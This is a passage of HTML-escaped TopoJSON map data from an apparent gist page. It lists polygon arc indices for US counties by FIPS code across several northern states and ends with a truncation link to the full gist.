;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/c3f658314b0cf3ce1f714631ff62ad04">view the full gist</a>.</em></p>
